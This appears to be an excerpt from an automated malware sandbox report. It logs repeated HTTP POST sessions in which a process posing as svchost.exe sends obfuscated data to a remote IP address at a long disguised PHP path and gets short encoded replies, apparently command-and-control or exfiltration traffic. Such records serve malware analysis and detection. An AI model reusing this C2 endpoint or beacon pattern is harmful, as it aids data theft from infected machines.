                                                                      Data Ascii: [W^^]YYV[WZYR_TWTQ^XWQZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D,1._?<^#>/%94"87.(2P78Z&<!?Y!,*)"Y %X!/
                                                                      Aug 28, 2024 11:17:55.529230118 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:55.656682968 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:55 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      35192.168.2.760140185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:55.784634113 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:56.150108099 CEST2512OUTData Raw: 5b 50 5b 5e 5d 58 59 5a 5b 57 5a 59 52 5b 54 56 54 5a 5e 53 57 53 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P[^]XYZ[WZYR[TVTZ^SWSZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!@,2!>(8_!.2:,!;-&4(,X'?-<_*\6?!^+"Y %X!
                                                                      Aug 28, 2024 11:17:56.430409908 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:56.560194016 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:56 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      36192.168.2.760141185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:56.693737030 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      37192.168.2.760142185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:57.133558035 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:57.487602949 CEST1844OUTData Raw: 5b 53 5b 5c 5d 59 5c 55 5b 57 5a 59 52 58 54 56 54 5a 5e 5c 57 52 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S[\]Y\U[WZYRXTVTZ^\WRZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,2%+ >$Y2)!]+-81 (8Z$)**:Z5<1+)"Y %X!3
                                                                      Aug 28, 2024 11:17:57.825884104 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:57.957386017 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:57 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 27 01 20 2e 3b 56 27 20 3c 13 3b 2b 2a 51 2a 3f 3c 58 3d 0b 20 5d 27 00 2c 56 30 16 0e 57 24 06 2b 42 27 0c 3e 01 33 2e 3b 1c 25 36 2d 5f 06 11 25 09 34 06 25 5f 38 32 09 0f 3d 03 28 1e 21 3e 02 03 2a 1d 32 0d 36 10 06 02 3d 12 2e 50 3b 1f 0b 57 28 2a 00 5d 38 3d 02 50 25 3a 21 52 0c 17 22 52 28 07 28 5a 23 5e 3a 1d 27 32 01 53 37 01 29 51 33 3c 2b 56 30 14 2c 56 3c 38 15 0d 31 2e 37 0a 25 3b 39 10 27 02 3f 51 2c 29 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: ' .;V' <;+*Q*?<X= ]',V0W$+B'>3.;%6-_%4%_82=(!>*26=.P;W(*]8=P%:!R"R((Z#^:'2S7)Q3<+V0,V<81.7%;9'?Q,).S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      38192.168.2.760143185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:57.159760952 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:17:57.518807888 CEST2512OUTData Raw: 5b 5b 5e 5e 5d 5b 59 50 5b 57 5a 59 52 5d 54 5c 54 5d 5e 5e 57 50 5a 5d 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^^][YP[WZYR]T\T]^^WPZ]\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"."1<++#><X%:0^5;#,; (&/=?9""<\+"Y %X!'
                                                                      Aug 28, 2024 11:17:57.882141113 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:58.016290903 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:57 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      39192.168.2.760144185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:58.144320011 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:17:58.503209114 CEST2512OUTData Raw: 5e 51 5b 59 58 5c 59 50 5b 57 5a 59 52 59 54 5c 54 5d 5e 5c 57 52 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q[YX\YP[WZYRYT\T]^\WRZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"/&]+ 7>?%45;9;#,$/"_(**"*9"Y %X!7
                                                                      Aug 28, 2024 11:17:58.534363985 CEST1236OUTData Raw: 32 59 08 01 0c 51 01 3e 23 3c 20 34 3e 0a 58 1a 00 5d 17 3c 28 3d 58 0b 32 1c 2f 5f 33 58 5c 15 08 39 54 15 39 34 0a 3b 3b 31 36 28 3a 3e 0e 57 0a 33 2d 11 32 04 36 27 0c 3b 1c 1e 35 0a 06 53 33 04 20 10 39 07 16 3a 36 56 3e 51 38 3e 24 24 13 2f
                                                                      Data Ascii: 2YQ>#< 4>X]<(=X2/_3X\9T94;;16(:>W3-26';5S3 9:6V>Q8>$$/!-7**55[),Y3](5*::=%3_"<6/;-(Q=_;5+9D2Y6=)=<'UX.8;=>,(1:0>=8065]R8#->?[3&_:,V+ ?;::9716;>1]Z9=3Y>59
                                                                      Aug 28, 2024 11:17:58.846852064 CEST1236OUTData Raw: 5e 51 5b 59 58 5c 59 50 5b 57 5a 59 52 59 54 5c 54 5d 5e 5c 57 52 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q[YX\YP[WZYRYT\T]^\WRZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"/&]+ 7>?%45;9;#,$/"_(**"*9"Y %X!7
                                                                      Aug 28, 2024 11:17:59.357250929 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:59.357292891 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:59.357372046 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:17:59.358684063 CEST1276OUTData Raw: 3c 5d 33 5b 3f 3d 0f 21 01 01 04 10 3a 06 00 04 28 00 07 5a 37 3d 19 1a 0d 24 22 1d 3d 06 24 3e 0b 5e 33 2f 3e 2e 34 58 32 59 08 01 0c 51 01 3e 23 3c 20 34 3e 0a 58 1a 00 5d 17 3c 28 3d 58 0b 32 1c 2f 5f 33 58 5c 15 08 39 54 15 39 34 0a 3b 3b 31
                                                                      Data Ascii: <]3[?=!:(Z7=$"=$>^3/>.4X2YQ>#< 4>X]<(=X2/_3X\9T94;;16(:>W3-26';5S3 9:6V>Q8>$$/!-7**55[),Y3](5*::=%3_"<6/;-(Q=_;5+9D2Y6=)=<'UX.8;=>,(1:0>=8065]R8#->?[3&_:,V+ ?
                                                                      Aug 28, 2024 11:17:59.567326069 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:17:58 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      40192.168.2.760145185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:17:59.694701910 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:00.050286055 CEST2512OUTData Raw: 5b 50 5e 58 5d 59 59 5a 5b 57 5a 59 52 5e 54 55 54 5e 5e 5c 57 5f 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P^X]YYZ[WZYR^TUT^^\W_ZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,"\?#4>$1<X ( 98"4((&<&<:6Z",*(9"Y %X!+
                                                                      Aug 28, 2024 11:18:00.349641085 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:00.480408907 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:00 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      41192.168.2.760146185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:00.616170883 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:00.972130060 CEST2512OUTData Raw: 5b 5b 5e 5f 5d 5e 5c 57 5b 57 5a 59 52 5d 54 53 54 5a 5e 5f 57 5f 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^_]^\W[WZYR]TSTZ^_W_Z^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!821(#X+20 +.8! ;<X&?*(:)!<=]+"Y %X!'
                                                                      Aug 28, 2024 11:18:01.307960033 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:01.442195892 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:01 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      42192.168.2.760147185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:01.570617914 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:01.925147057 CEST2512OUTData Raw: 5b 5b 5e 5a 58 5a 5c 51 5b 57 5a 59 52 55 54 52 54 59 5e 5a 57 56 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [[^ZXZ\Q[WZYRUTRTY^ZWVZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS","5(# >?13";92V ;/&,*9:\"?%("Y %X!
                                                                      Aug 28, 2024 11:18:02.206083059 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:02.336715937 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:02 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      43192.168.2.760148185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:02.458532095 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:02.815855026 CEST2512OUTData Raw: 5b 5a 5b 5c 5d 5a 5c 51 5b 57 5a 59 52 5a 54 5c 54 59 5e 5e 57 5f 5a 54 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Z[\]Z\Q[WZYRZT\TY^^W_ZT\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D/"<(+ .%)4"]?-&Q#;33,&Y<6/%\(9"Y %X!;


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      44192.168.2.760149185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:02.977879047 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:03.331437111 CEST1844OUTData Raw: 5e 57 5e 54 58 58 59 52 5b 57 5a 59 52 54 54 54 54 5d 5e 59 57 54 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^W^TXXYR[WZYRTTTT]^YWTZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!D/2?+474Y'*4X"](V-2R#8836<996<"Y %X!
                                                                      Aug 28, 2024 11:18:03.603991032 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:03.732697964 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:03 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 27 07 21 2e 38 0b 32 23 38 10 38 38 36 13 3e 02 37 03 2a 0c 05 00 25 3e 28 55 27 38 34 55 30 06 30 1d 33 21 29 5c 27 13 0a 09 26 36 2d 5f 06 11 25 0a 20 5e 21 5e 3b 0c 02 55 2a 03 33 04 36 2e 2c 02 3e 23 0c 0b 21 3d 38 02 29 05 35 0c 3b 31 2d 55 29 5c 22 16 2c 2e 3c 51 26 2a 21 52 0c 17 21 0e 28 39 3f 02 34 28 25 0f 24 54 33 11 23 3f 03 54 33 01 2b 55 27 04 0a 52 2a 38 38 52 31 00 27 0b 31 2b 08 00 27 12 38 08 2c 39 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: '!.82#8886>7*%>(U'84U003!)\'&6-_% ^!^;U*36.,>#!=8)5;1-U)\",.<Q&*!R!(9?4(%$T3#?T3+U'R*88R1'1+'8,9.S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      45192.168.2.760150185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:03.100076914 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:03.456382990 CEST2512OUTData Raw: 5b 53 5e 55 5d 50 5c 57 5b 57 5a 59 52 59 54 50 54 5c 5e 5e 57 53 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S^U]P\W[WZYRYTPT\^^WSZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,1*]<^(^!-?&,[ +.!#0Z3/2X?)6?%\<"Y %X!7
                                                                      Aug 28, 2024 11:18:03.730045080 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:03.860717058 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:03 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      46192.168.2.760151185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:03.990731001 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:04.347088099 CEST2512OUTData Raw: 5e 50 5b 5e 5d 5b 59 5a 5b 57 5a 59 52 58 54 50 54 5d 5e 5e 57 51 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
